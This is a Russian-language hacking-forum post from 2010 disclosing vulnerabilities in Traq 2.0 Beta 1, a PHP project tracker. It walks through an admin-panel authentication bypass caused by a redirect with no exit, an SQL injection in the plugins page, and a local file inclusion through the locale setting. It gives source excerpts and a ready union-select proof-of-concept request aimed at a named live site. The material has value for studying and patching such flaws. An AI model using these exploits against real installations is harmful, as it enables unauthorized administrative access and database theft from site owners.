RDot

RDot (https://rdot.org/forum/index.php)
-   Сценарии/CMF/СMS (https://rdot.org/forum/forumdisplay.php?f=15)
-   -   Уязвимости Traq (https://rdot.org/forum/showthread.php?t=182)

Iceangel_ 07.07.2010 15:38

Уязвимости Traq
 
Уязвимости Traq 2.0 Beta 1(возможно уязвимы и более ранние версии)
Traq is a PHP5 and MySQL based Project Tracking system with the ability to host multiple projects.

Default database prefix: traq_
Users table : {prefix}users(username: password: group_id)
Config: /inc/config.php
Admin-panel: /admincp/


1)Bypass
/admincp/index.php
PHP код:

 authenticate();

// Get the statistics...
$projects $db->numrows($db->query("SELECT id FROM ".DBPF."projects")); 

/admincp/common.php

PHP код:

 function authenticate()
{
    global 
$user;
    
    if(!
$user->group['is_admin'])
        
header("Location: login.php"); //die() и exit отсутствуют, бипасс налицо 

2)Sql-injection(требования:доступ в админ панель)
/admincp/plugins.php

PHP код:

 elseif(isset($_REQUEST['hooks']))
{
    
// Fetch Plugin info
    
$plugin $db->queryfirst("SELECT name FROM ".DBPF."plugins WHERE id='".$_REQUEST['plugin']."' LIMIT 1");  //везде стоит обработка переменной участвующей в запросе, в этом месте пропустили
    
    // Fetch Plugin hooks
    
$hooks = array();
    
$fetchhooks $db->query("SELECT id,title,hook,code FROM ".DBPF."plugin_code WHERE plugin_id='".$db->res($_REQUEST['plugin'])."' ORDER BY title ASC"); 

эксплуатация и PoC:
Код:

GET http://bugs.macpietsapps.net/admincp/plugins.php?hooks=1&plugin='+union+select+concat_ws(0x3a,version(),user(),database())--+ HTTP/1.0 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1 Connection: Close

3)LFI(требования:доступ в админ панель)

/inc/common.php

PHP код:

 function settings($setting)
{
    global 
$CACHE$db;
    
    
// Check if the setting has already been fetched
    // and return it if it has.
    
if(isset($CACHE['settings'][$setting])) return $CACHE['settings'][$setting];
    
    
// Looks like the setting isn't in the cache,
    // lets fetch it now...
    
$result $db->fetcharray($db->query("SELECT setting, value FROM ".DBPF."settings WHERE setting='".$db->res($setting)."' LIMIT 1"));
    
$CACHE['settings'][$setting] = $result['value'];
    
    (
$hook FishHook::hook('function_settings')) ? eval($hook) : false;
    
    return 
$CACHE['settings'][$setting];


/inc/global.php

PHP код:

 require('locale/'.settings('locale')); 

Эксплуатация:
Через /admincp/settings.php меняем Language(по дефолту enus.php) и сохраняем настройки.


Часовой пояс GMT +3, время: 09:22.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot